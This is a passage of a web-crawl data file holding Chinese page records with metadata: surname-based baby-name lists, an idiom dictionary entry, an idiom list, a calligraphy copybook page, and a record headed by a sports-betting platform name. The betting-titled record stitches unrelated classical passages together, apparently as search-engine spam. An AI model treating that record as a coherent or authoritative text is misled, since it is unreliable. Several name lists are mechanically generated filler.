ncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296819847.83\/warc\/CC-MAIN-20240424174709-20240424204709-00384.warc.gz","language":"lzh","language_score":0.4551486671,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4551486670970917, \"cmn_Hani_score\": 0.3311057984828949, \"nan_Hani_score\": 0.09822534024715424, \"yue_Hani_score\": 0.017802445217967033, \"jpn_Jpan_score\": 0.01657993346452713, \"wuu_Hani_score\": 0.015634121373295784}","num_words":27,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓公冶的男孩名字大全 公冶姓男孩起名\n郑雪玲 郑巧玲 郑爱玲 郑迢文 。\n公冶智庆 公冶源民 公冶钟飞 公冶庆杨 公冶润泽 公冶佳勃 公冶月泽 公冶熔涛 公冶夏同 公冶春金 公冶苹 公冶亨溢 公冶耀江 公冶宴荣 公冶睿志 公冶昀铠 公冶子健 公冶启巍 公冶方肖 公冶烁吉 公冶颅 公冶函学 公冶润扇 公冶绣领 公冶佩仪 公冶跻兰 公冶玫葶 公冶行 公冶雅琪 公冶舒 公冶玉蓉 公冶诺轩 公冶福泉 公冶雷 公冶雅材 公冶玮材 公冶希麟 公冶天幽 公冶晨雨 公冶炽贤 公冶思腾 公冶玮伯 公冶世军 公冶金波 公冶皇成 公冶灿峰 公冶福宏 公冶洁荣 公冶培学 公冶瑞宏 公冶显亚 公冶克诚 公冶翔云 公冶馨颜 公冶国龙 公冶亦欣 公冶如君 公冶嘉志 公冶俐 公冶绪清 公冶是晶 公冶晨鑫 公冶沛雄 公冶庆林 公冶秋铧 公冶必寅 公冶月泉 公冶嘉伟 公冶丙瑞 公冶三祥 公冶浩峰 公冶晟煜 公冶军超 公冶豫 公冶天笑 公冶丹阳 公冶为 公冶湘武 公冶咏漪 公冶洁静 公冶月星 公冶颢生 公冶艳松 公冶嘉良 公冶克飙 公冶志海 公冶键 公冶健坤 公冶文谦 公冶羽澄 公冶霖琛 公冶龙 公冶蓄苓 公冶诚言 公冶道芸 公冶烨晟 公冶曼青 公冶朋玉 公冶豪宏 公冶必虎 公冶穆 公冶汝泓 公冶睿超 公冶宜歆 公冶也佳 公冶新俊 公冶邵恩 公冶百万 公冶若欣 公冶兴林 公冶先明 公冶乐煌 公冶天聪 公冶宣彤 公冶亚行 公冶驯 公冶顺琰 公冶福良 公冶介生 公冶屹岚 公冶杰武 公冶海峰 公冶仕全 公冶江 公冶文春 公冶文彬 公冶泽锟 公冶持驰 公冶海亭 公冶蝉亘 公冶舒馨 公冶玮朋 公冶保义 公冶少鸿 公冶琦良 公冶福强 公冶月宝 公冶花鸿 公冶子其 公冶齐佑 公冶耀良 公冶宪坤 公冶璨海 公冶似憬 公冶农仙 公冶孩 公冶秋月 公冶倍华 公冶瑞昊 公冶浚湘 公冶伟杰 公冶小平 公冶常和 公冶舒虹 公冶月柯 公冶雄少 公冶月泰 公冶佳琦 公冶心逸 公冶晟旻 公冶旖旎 公冶宇蝶 公冶涵墨 公冶午阳 公冶博豪 公冶尔康 公冶至达 公冶爱和 公冶馨逸 公冶跃辉 公冶建昊 公冶心茜 公冶焱 公冶丽阳 公冶曼骅 公冶广庆 公冶琪 公冶雨葶 公冶豪君 公冶木弥 公冶华贵 公冶日 公冶文仲 公冶小月 公冶小川 公冶云瑞 公冶克震 公冶颉夫 公冶俊云 公冶增万 公冶咏瑞 公冶舜铨 公冶增湛 公冶留昌 公冶聪 公冶八路 公冶英灿 公冶小欧 公冶从澄 公冶俞蔓 公冶颖璇 公冶子萱 公冶英梅 公冶世耀 公冶哲枫 公冶钦博 公冶诗琪 公冶余进 公冶圣雅 公冶沁方 公冶姿铭 公冶业 公冶月腾 公冶嘉材 公冶宏士 公冶木阳 公冶志宏 公冶诚江 公冶桠君 公冶要荣 公冶羽欣 公冶馨雨 公冶佳薇 公冶浩聿 公冶腾宙 公冶木波 公冶潺潺 公冶福材 公冶羊群 公冶少谦 公冶舒历 公冶嘉鸿 公冶海林 公冶文柏 公冶裎押 公冶家喜 公冶俊译 公冶怿早 公冶苏月 公冶天俊 公冶议翎 公冶瑜朋 公冶妤婕 公冶宏 公冶学富 公冶安卓 公冶苏殷 公冶宇航 公冶维献 公冶麒凡 公冶同金 公冶喜儿 公冶鸿博 公冶醉 公冶现国 公冶志诚 公冶馨日 公冶承国 公冶炫斐 公冶洋龙 公冶文波 公冶道慧 公冶剑儒 公冶时国 公冶瑞延 公冶禾翊 公冶方冠 公冶睿余 公冶占房 公冶四潮 公冶元易 公冶芊 公冶益群 公冶瑜葶 公冶炉锋 公冶誓佑 公冶乃淼 公冶佰霖 公冶宁 公冶召泉 公冶延春 公冶红生 公冶晶屹 公冶扬野 公冶鲁瑾 公冶维荣 公冶彦竹 公冶睿辰 公冶瑞辰 公冶铁罡 公冶乐思 公冶文睿 公冶薪耘 公冶宏骏 公冶守荣 公冶义胜 公冶开宇 公冶怀义 公冶乔丹 公冶庆伦 公冶忠山 公冶邦国 公冶渝鹭 公冶可慰 公冶福杉 公冶亦乔 公冶功策 公冶镜潆 公冶俊杰 公冶玮君 公冶天炫 公冶瑜材 公冶备 公冶坤 公冶和关 公冶洁文 公冶诚志 公冶德武 公冶筱筱 公冶恒宏 公冶月鸿 公冶天劲 公冶虹匀 公冶瑞余 公冶莘 公冶铮 公冶宝珠 公冶紫欣 公冶引瀚 公冶福辰 公冶小云 公冶湄霭 公冶文鸿 公冶俪凼 公冶恩照 公冶荣利 公冶伟珍 公冶木遥 公冶建南 公冶丰凯 公冶青川 公冶涂强 公冶擎宇 公冶梓昊 公冶旺 公冶天腾 公冶齐辰 公冶昊翰 公冶木柏 公冶若彤 公冶子聪 公冶璐宁 公冶陪福 公冶木泰 公冶尺 公冶泯运 公冶天绩 公冶津普 公冶植松 公冶诚宏 公冶绮珍 公冶昱舟 公冶之权 公冶杰龙 公冶子恒 公冶少彦 公冶建朋 公冶屏缤 公冶奥博 公冶桢林 公冶嘉耘 公冶瑜辰 公冶引泰 公冶子明 公冶一钧 公冶柯欣 公冶誓言 公冶金汉 公冶天语 公冶希彪 公冶蕴珈 公冶木隆 公冶文信 公冶远 公冶舟 公冶利明 公冶俊鹏 公冶雨函 公冶熙杭 公冶曼捷 公冶方泰 公冶福华 公冶戴汶 公冶浩哲 公冶皓仁 公冶瑞艺 公冶延宁 公冶月瀚 公冶方 公冶木信 公冶祥旭 公冶天柏 公冶隅 公冶阳露 公冶镜涵 公冶梵灵 公冶文瀚 公冶祥广 公冶家菀 公冶少风 公冶国秀 公冶朝升 公冶胜太 公冶俊忠 公冶木勇 公冶黔男 公冶永辉 公冶仁鸿 公冶宝顶 公冶书敏 公冶木柯 公冶璇 公冶佳绋 公冶浩璇 公冶翔雨 公冶斯涛 公冶荣江 公冶艺涵 公冶卓襄 公冶誓志 公冶嘉朋 公冶文劲 公冶清锋 公冶鸿达 公冶紫多 公冶成晗 公冶天耀 公冶承彦 公冶以谦 公冶茜茜 公冶艳林 公冶楷涛 公冶天波 公冶宏伟 公冶木彦 公冶文星 公冶斗 公冶春江 公冶耀轩 公冶昊杰 公冶琰 公冶敏强 公冶蓓蕾 公冶邡 公冶顺扬 公冶芸生 公冶文腾 公冶焯滢 公冶睿江 公冶清惠 公冶垚吉 公冶小兵 公冶萧 公冶开雷 公冶艺森 公冶智强 公冶泳欣 公冶度呈 公冶廷和 公冶罂粟 公冶蜀遥 公冶睿雀 公冶嘉利 公冶文风 公冶博智 公冶灵智 公冶福付 公冶恩光 公冶仁俊 公冶方鸿 公冶贝儿 公冶佳伟 公冶韩涛 公冶方隆 公冶乙霖 公冶木聪 公冶映乾 公冶涵钎 公冶锦茵 公冶方秋 公冶苑恒 公冶建宏 公冶沁世 公冶国洧 公冶贵君 公冶文宝 公冶浚南 公冶小铖 公冶予同 公冶泽辰 公冶木泽 公冶孝容 公冶靖武 公冶天天 公冶力玮 公冶贞荣 公冶灵丹 公冶双浦 公冶木灿 公冶志垚 公冶志鸿 公冶月柏 公冶子周 公冶美元 公冶保成 公冶艳荣 公冶淇 公冶方俊 公冶沐 公冶幻珍 公冶炅东 公冶小良 公冶子锦 公冶显坤 公冶云天 公冶觉键 公冶禹 公冶娟晓 公冶巍威 公冶家璇 公冶豪志 公冶雪影 公冶国锋 公冶文泰 公冶海晏 公冶木谦 公冶艾薇 公冶融蜂 公冶国民 公冶亚洲 公冶月聪 公冶文勇 公冶孝贵 公冶梓煊 公冶铉武 公冶韩浩 公冶纭宁 公冶尧 公冶宏滨 公冶钟珩 公冶克纯 公冶端文 公冶斯然 公冶豪延 公冶广豪 公冶书记 公冶孝宗 公冶佳童 公冶卓苒 公冶令滨 公冶自秀 公冶巧林 公冶晗钨 公冶二哥 公冶镇译 公冶释心 公冶闻韵 公冶征 公冶荣辰 公冶凯胧 公冶梓菲 公冶程杰 公冶睿君 公冶慎 公冶文俊 公冶振远 公冶和珍 公冶紫芫 公冶冰珊 公冶浩斐 公冶新龙 公冶正建 公冶宇非 公冶俊辉 公冶尚坤 公冶嘉柔 公冶自曳 公冶欣聆 公冶懿然 公冶震忠 公冶晓蒙 公冶天瀚 公冶嘉宏 公冶月俊 公冶有林 公冶光复 公冶木风 公冶月谦 公冶忆雁 公冶伟博 公冶文拓 公冶来 公冶陈俊 公冶木鸿 公冶梓鸿 公冶诚桦 公冶小二 公冶芝旭 公冶月波 公冶翔宁 公冶群智 公冶冰榆 公冶雪雯 公冶才俊 公冶泽槟 公冶文阳 公冶玮志 公冶冠岑 公冶银辰 公冶引泽 公冶新团 公冶德明 公冶垂杨 公冶月施 公冶志谦 公冶木耀 公冶纪程 公冶晓雅 公冶月勇 公冶月耀 公冶瑜宏 公冶家宁 公冶文浩 公冶雪勇 公冶绪凯 公冶莨 公冶渝东 公冶惠钰 公冶永安 公冶峻林 公冶文炫 公冶可欢 公冶致远 公冶法源 公冶千雅 公冶文隆 公冶祖明 公冶梨力 公冶胜群 公冶佳益 公冶涵登 公冶海港 公冶浩元 公冶典萱 公冶浩亮 公冶涵嘉 公冶聚慧 公冶爵 公冶孩蓝 公冶月彦 公冶奇 公冶俊同 公冶可 公冶涵臻 公冶宪虎 公冶法东 公冶祺雅 公冶小舆 公冶彩凤 公冶景豪 公冶曦明 公冶赫阳 公冶月灿 公冶梓钧 公冶天隆 公冶赜炜 公冶姗 公冶诚材 公冶天星 公冶天添 公冶熠镱 公冶绪纯 公冶天南 公冶鸣春 公冶名成 公冶晓丹 公冶木俊 公冶会酃 公冶骁彤 公冶欣鹏 公冶傲 公冶柏林 公冶抒天 公冶乐儿 公冶永兵 公冶盛亮 公冶子噶 公冶毅华 公冶玛道 公冶荣志 公冶玮言 公冶闻迪 公冶笔锐 公冶文建 公冶龙小 公冶久清 公冶耕谦 公冶鉴城 公冶慧峰 公冶咏菘 公冶逸凡 公冶天遥 公冶秀儒 公冶木瀚 公冶暹琦 公冶诚均 公冶海泳 公冶瑜江 公冶佃利 公冶德候 公冶晨娇 公冶璐璐 公冶鸿磊 公冶淼 公冶珏 公冶永林 公冶文远 公冶家庆 公冶典珠 公冶犁 公冶桐淼 公冶荣君 公冶萧函 公冶正灏 公冶宇轩 公冶洁翻 公冶烈霖 公冶银宏 公冶紫涵 公冶长伟 公冶剀 公冶少泰 公冶祁韵 公冶豪江 公冶友福 公冶冠寒 公冶政舞 公冶小刚 公冶泽欣 公冶争旭 公冶银朋 公冶梓桦 公冶月隆 公冶企泉 公冶延路 公冶红冰 公冶小岚 公冶文耀 公冶际晓 公冶桐尧 公冶同 公冶少泽 公冶贝音 公冶剑利 公冶连惋 公冶拓海 公冶子木 公冶海兵 公冶奕泽 公冶银延 公冶志贵 公冶少俊 公冶木星 公冶荣龙 公冶贤 公冶佳译 公冶建保 公冶一鑫 公冶雅乔 公冶生宇 公冶超明 公冶露 公冶凯旋 公冶春原\n郑洁怡 郑伊瑶 郑天婧 。\n郑宝秀 郑东霞 郑慧媛 。\n郑伟莹 公冶银杉 公冶月信 公冶思国 公冶晗六 公冶仕刚 公冶靖羽 公冶看来 公冶宝龙 公冶睿宜 公冶新华 公冶一胭 公冶思靓 公冶力饥 公冶立荣 公冶月阳 公冶玮辰 公冶榕苏 公冶盈艺 公冶福江 公冶方彦 公冶清波 公冶旌耀 公冶胜伟 公冶文灿 公冶顺荣 公冶银江 公冶清淋 公冶晟翔 公冶博舞 公冶瑜延 公冶付巧 公冶靖 公冶福延 公冶同顺 公冶吉宇 公冶泽宇 公冶佩臻 公冶方腾 公冶文冠 公冶诗淇 公冶考海 公冶方泽 公冶维志 公冶鹏岗 公冶恩至 公冶福佑 公冶嘉徽 公冶靖贵 公冶子力 公冶浠鑫 公冶木施 公冶瑜琪 公冶仁越 公冶慧绵 公冶之圆 公冶媚媚 公冶多 公冶翠 公冶方柏 公冶艺林 公冶砚 公冶圆珏 公冶会勇 公冶银鸿 公冶光松 公冶瑞君 公冶沈 公冶天泽 公冶子硕 公冶海军 公冶皓铭 公冶艺昕 公冶晓华 公冶政 公冶文路 公冶瑞嘉 公冶发有 公冶乐湫 公冶晨锡 公冶惠慈 公冶志刚 公冶晓杨 公冶恩晴 公冶沈剑 郑芯瑶 。\n郑备文 郑雯琳 。\n郑笑冉 郑幼茹 郑怡璐 。\n郑召冉 郑寒文 郑燕泽 郑小茹 郑致瑶\n郑钟英 郑宝萍 郑娌娜 郑景芳 。\n郑佳裴 郑玺丽 郑韩玲 郑敏艳 。\n郑玺媛 郑致媛 郑林娟 郑晰倩 。\n郑佳莉 。\n郑杰丽 郑瑷瑶 !\n郑肖莉 郑瑶璐 郑琳娟 郑羽瑶 郑琪悦 郑西媛 。\n郑琴曼 郑一瑛 郑静芳 。\n郑芳艳 ?\n郑倩淇 郑诗琳 郑恺霞 。\n郑盛文 郑菡茹 郑玲媛 郑沛玲 。\n郑振雪 !\n郑茹芹 郑其悦 !\n郑焦文 郑礼红 。\n郑一莹 。\n郑塔娜 郑咏娟 ?\n郑舜文 郑楦悦 郑生花 郑佳秀 郑站芳 郑生妹 !\n郑耀红 郑业颖 郑富莉 郑灵媛 郑小婧 郑轶丽 ?\n郑雯霞 郑林悦 郑佳娜 ?\n郑丹霞 郑诗婧 郑潇颖 郑沛茹 郑娇燕 ?\n郑月媛 !\n郑培英 郑结丽 !\n郑桂红 郑瑶光 。郑陈婷 郑赵艳 。\n郑思婧 郑培裴 。\n郑裴培 郑棋悦 郑赵玲 郑智颖 ?\n郑赵婷 郑雯莉 郑敏莹 郑祁燕 郑三妹\n关键词: 男孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.van46.com\/nanhaiqiming\/808.html","date":"2019-12-12T07:50:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540542644.69\/warc\/CC-MAIN-20191212074623-20191212102623-00167.warc.gz","language":"lzh","language_score":0.5801594853,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5801594853401184, \"yue_Hani_score\": 0.32653743028640747, \"nan_Hani_score\": 0.042032524943351746, \"cmn_Hani_score\": 0.04193085432052612}","num_words":972,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.623,"perplexity_score":500.0,"cluster_detection":1} +{"text":"沙巴体育平台证监会决定废止18部证券期货规范性文件\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日\n其後秦使犀首欺齐、魏,与共伐赵,欲败从约。齐、魏伐赵,赵王让苏秦。苏秦恐,请使燕,必报齐。苏秦去赵而从约皆解。\n大馀三十一,小馀五百一十二;大馀五十一,小馀二十四;\n子曰:\"晏平仲善与人交,久而敬之。\"\n高后为外孙鲁元王偃年少,蚤失父母,孤弱,乃封张敖前姬两子,侈为新都侯,寿为乐昌侯,以辅鲁元王偃。及封中大谒者张释为建陵侯,吕荣为祝兹侯。诸中宦者令丞皆为关内侯,食邑五百户。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/gkrqk.xiangbo56.cn\/3k2u5\/","date":"2020-02-23T00:40:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145742.20\/warc\/CC-MAIN-20200223001555-20200223031555-00427.warc.gz","language":"lzh","language_score":0.4832009971,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4832009971141815, \"cmn_Hani_score\": 0.20875884592533112, \"nan_Hani_score\": 0.1782396286725998, \"yue_Hani_score\": 0.0200729388743639, \"wuu_Hani_score\": 0.015192867256700993, \"jpn_Jpan_score\": 0.013705781660974026}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.523,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【注音】\n【拼音】 wēi zhèn tiān xià\n基本釋義\n威名傳於全國,震驚世上。\n聲望威名為天下人所敬畏。漢.桓寬《鹽鐵論.非鞅》:「蒙恬卻胡千里,非無功也,威震天下,非不強也。」宋.張君房《雲笈七籤.卷一○○.軒轅本紀》:「發金作冶,制為鎧甲及劍,造立兵仗刀戟大弩等,威震天下。」也作「威振天下」。\n您可能感興趣的詞語\n威震天下 威振天下 譽塞天下 譽滿天下 王天下 聞名天下 威震寰宇 威震八方 威震 言語妙天下 有理走遍天下 一手難掩天下人耳目 一齊天下 一匡天下 一統天下 掃除天下 縱橫天下 坐天下 走遍天下 手援天下 殺聲震天 闖天下 澄清天下 轍環天下 震天駭地 震天價響 震天雷 震天動地 震天 周郎妙計高天下,賠了夫人又折兵 相交滿天下,知心能幾人 先天下之憂而憂 秀才不出門,能知天下事 席卷天下 權傾天下 經緯天下","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.3du.tw\/dict\/%E5%A8%81%E9%9C%87%E5%A4%A9%E4%B8%8B","date":"2020-07-02T19:40:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655879738.16\/warc\/CC-MAIN-20200702174127-20200702204127-00299.warc.gz","language":"lzh","language_score":0.7828513384,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7828513383865356, \"nan_Hani_score\": 0.1367662250995636, \"cmn_Hani_score\": 0.07733440399169922}","num_words":46,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.849,"perplexity_score":500.0,"cluster_detection":1} +{"text":"开头带言的成语,言开头的成语 | 言字开头的成语\n言字开头的成语: 言必信,行必果 言必有据 言必有中 言不及义 言不尽意 言不由衷 言出法随 言传身教 言多必失 言而无信 言而有信 言寡尤,行寡悔 言归于好 言归正传 言过其实 言简意赅 言近旨远 言人人殊 言三语四 言谈林薮 言听计从 言外之意 言为心声 言无二价 言行不一 言行相诡 言行一致 言扬行举 言犹在耳 言语道断 言语妙天下 言者无罪,闻者足戒 言者谆谆,听者藐藐 言之成理 言之无文,行而不远 言之无物 言之有理 言之有物 言之凿凿 言之谆谆,听之藐藐 言重九鼎\n和言有关的成语: 薄唇轻言 杯酒言欢 闭口不言 币重言甘 变色之言 冰炭不言,冷热自明 博闻辩言 不苟言笑 更多(209个)..\n言的组词","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.shxy888.com\/key\/%E5%BC%80%E5%A4%B4%E5%B8%A6%E8%A8%80%E7%9A%84%E6%88%90%E8%AF%AD.html","date":"2020-08-15T07:12:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439740733.1\/warc\/CC-MAIN-20200815065105-20200815095105-00523.warc.gz","language":"lzh","language_score":0.9546824098,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9546824097633362, \"cmn_Hani_score\": 0.03333696350455284}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.962,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n凌艾 凌安 凌柏 凌班 凌邦 凌豹 凌本 凌彪 凌飚 凌宾 凌彬 凌斌 凌滨 凌冰 凌波 凌搏 凌步 凌灿 凌昶 凌超 凌琛 凌臣 凌辰 凌宸 凌晨 凌闯 凌成 凌承 凌澄 凌赤 凌冲 凌楚 凌川 凌春 凌聪 凌翠 凌达 凌丹 凌单 凌蛋 凌迪 凌典 凌点 凌丁 凌栋 凌都 凌恩 凌儿 凌尔 凌迩 凌洱 凌凡 凌方 凌飞 凌菲 凌风 凌枫 凌峰 凌烽 凌锋 凌凤 凌感 凌刚 凌高 凌观 凌光 凌果 凌海 凌海 凌寒 凌汉 凌菡 凌瀚 凌航 凌豪 凌好 凌昊 凌浩 凌皓 凌颢 凌灏 凌衡 凌弘 凌宏 凌虹 凌鸿 凌胡 凌瑚 凌华 凌桦 凌欢 凌晃 凌晖 凌珲 凌辉 凌惠 凌慧 凌活 凌加 凌佳 凌嘉 凌建 凌剑 凌健 凌江 凌疆 凌杰 凌捷 凌金 凌瑾 凌劲 凌晋 凌觐 凌经 凌菁 凌景 凌净 凌竟 凌境 凌静 凌涓 凌珏 凌军 凌君 凌筠 凌俊 凌峻 凌浚 凌骏 凌凯 凌恺 凌科 凌可 凌宽 凌匡 凌况 凌坤 凌琨 凌锟 凌澜 凌镧 凌雷 凌磊 凌棱 凌鹂 凌鲡 凌礼 凌里 凌理 凌鲤 凌力 凌立 凌利 凌俐 凌俪 凌溧 凌烈 凌林 凌粼 凌霖 凌灵 凌菱 凌刘 凌留 凌榴 凌龙 凌珑 凌露 凌璐 凌绿 凌峦 凌乱 凌满 凌蔓 凌媚 凌猛 凌蒙 凌迷 凌淼 凌敏 凌明 凌鸣 凌漠 凌默 凌沐 凌南 凌楠 凌霓 凌宁 凌磐 凌屁 凌平 凌齐 凌崎 凌琦 凌琪 凌麒 凌牵 凌谦 凌潜 凌茜 凌歉 凌强 凌巧 凌勤 凌青 凌清 凌秋 凌鹊 凌群 凌然 凌荣 凌榕 凌锐 凌瑞 凌睿 凌润 凌森 凌山 凌珊 凌绅 凌升 凌胜 凌圣 凌晟 凌诗 凌姝 凌殊 凌曙 凌帅 凌爽 凌硕 凌松 凌嵩 凌谡 凌岁 凌索 凌塔 凌炭 凌滔 凌汀 凌通 凌彤 凌童 凌娃 凌微 凌薇 凌巍 凌伟 凌炜 凌玮 凌未 凌蔚 凌雯 凌汶 凌悟 凌夕 凌兮 凌西 凌希 凌菥 凌晰 凌溪 凌熙 凌熹 凌曦 凌喜 凌瑕 凌夏 凌湘 凌翔 凌骁 凌宵 凌销 凌潇 凌晓 凌肖 凌啸 凌昕 凌新 凌鑫 凌信 凌兴 凌星 凌杏 凌雄 凌栩 凌旭 凌序 凌轩 凌炫 凌雅 凌烟 凌焉 凌严 凌芫 凌炎 凌彦 凌雁 凌滟 凌扬 凌阳 凌杨 凌洋 凌养 凌也 凌野 凌叶 凌晔 凌烨 凌一 凌依 凌以 凌旖 凌义 凌艺 凌亦 凌易 凌轶 凌翊 凌逸 凌毅 凌因 凌茵 凌音 凌影 凌永 凌泳 凌勇 凌渝 凌榆 凌瑜 凌虞 凌与 凌宇 凌羽 凌雨 凌语 凌郁 凌昱 凌钰 凌煜 凌元 凌园 凌塬 凌源 凌瑗 凌月 凌跃 凌越 凌云 凌纭 凌芸 凌昀 凌耘 凌运 凌韵 凌赞 凌兆 凌哲 凌珍 凌真 凌蓁 凌振 凌政 凌之 凌芝 凌志 凌致 凌智 凌忠 凌朱 凌蛛 凌竹 凌专 凌卓 凌姿 凌淄 凌子 凌梓 凌紫 凌总 凌钻 凌阿峰 凌阿灶 凌皑尔 凌霭懋 凌艾涵 凌艾嘉 凌艾宁 凌艾欣 凌艾萱 凌爱华 凌爱军 凌爱兰 凌爱民 凌爱强 凌爱青 凌爱荣 凌爱懿 凌隘尔 凌嫒尔 凌嫒妮 凌嫒虞 凌瑷尔 凌安尔 凌安琪 凌安泰 凌安玄 凌安雅 凌昂求 凌敖生 凌鏖粤 凌傲晗 凌傲华 凌傲晖 凌傲祁 凌傲祈 凌傲睿 凌奥华 凌澳华 凌白菜 凌白尔 凌百薄 凌百川 凌百灵 凌百谦 凌百强 凌百盛 凌百顺 凌百彤 凌百祥 凌百璇 凌百泽 凌百孜 凌佰灵 凌柏川 凌败财 凌邦来 凌浜尔 凌榜好 凌宝宝 凌宝冬 凌宝尔 凌宝峰 凌宝亨 凌宝莲 凌宝强 凌宝生 凌宝萱 凌宝杨 凌贝曦 凌倍丙 凌倍建 凌蓓淇 凌蓓娴 凌荸程 凌笔辰 凌笔丞 凌必峰 凌毕丞 凌毖尔 凌铋程 凌碧辰 凌碧尔 凌碧莎 凌彪宏 凌标宏 凌飚宸 凌彬斌 凌彬潮 凌彬果 凌彬壕 凌彬浩 凌彬华 凌彬铧 凌彬桦 凌彬稼 凌彬乐 凌彬洛 凌彬溥 凌彬时 凌彬翔 凌彬漾 凌彬虞 凌冰如 凌冰娴 凌冰颜 凌冰月 凌炳岚 凌波腾 凌伯源 凌伯愿 凌博仁 凌不活 凌步尔 凌钚雅 凌才称 凌才雅 凌才益 凌采妮 凌彩露 凌彩梦 凌彩业 凌彩月 凌彩云 凌彩芸 凌灿海 凌灿如 凌仓海 凌曹海 凌曹艺 凌茶尔 凌岔巴 凌忏尔 凌昌宸 凌昌尔 凌昌海 凌昌华 凌昌监 凌长春 凌长富 凌长鸿 凌长林 凌长鸣 凌长权 凌长松 凌常意 凌畅励 凌畅宜 凌畅易 凌畅谊 凌畅意 凌畅雨 凌倡海 凌超凡 凌超汉 凌超辉 凌超君 凌超明","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/m.pc89.com\/xm-n1-152.html","date":"2021-08-05T21:57:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046157039.99\/warc\/CC-MAIN-20210805193327-20210805223327-00563.warc.gz","language":"lzh","language_score":0.4431334436,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4431334435939789, \"yue_Hani_score\": 0.2504511773586273, \"cmn_Hani_score\": 0.10237442702054977, \"nan_Hani_score\": 0.06144837290048599, \"und_Modi_score\": 0.04565810784697533, \"und_Sgnw_score\": 0.02887880802154541, \"und_Pauc_score\": 0.023838091641664505}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.301,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.441,"perplexity_score":500.0,"cluster_detection":1} +{"text":"百度站內搜索站內搜索(標題)\n田英章毛筆書法楷書習字帖《弟子規》,規范字集圖片46張。\n弟子規總敘 弟子規 圣人訓 首孝弟 次謹信 泛愛眾 而親仁 有余力 則學文\n入則孝 父母呼 應勿緩 父母命 行勿懶 父母教 須敬聽 父母責 須順承","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/www.johnabateskincare.com\/article\/9122.html","date":"2022-07-05T22:13:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104628307.87\/warc\/CC-MAIN-20220705205356-20220705235356-00568.warc.gz","language":"lzh","language_score":0.7975647449,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7975647449493408, \"yue_Hani_score\": 0.09966883808374405, \"cmn_Hani_score\": 0.07733755558729172, \"nan_Hani_score\": 0.01589229330420494}","num_words":20,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.798,"perplexity_score":500.0,"cluster_detection":1} 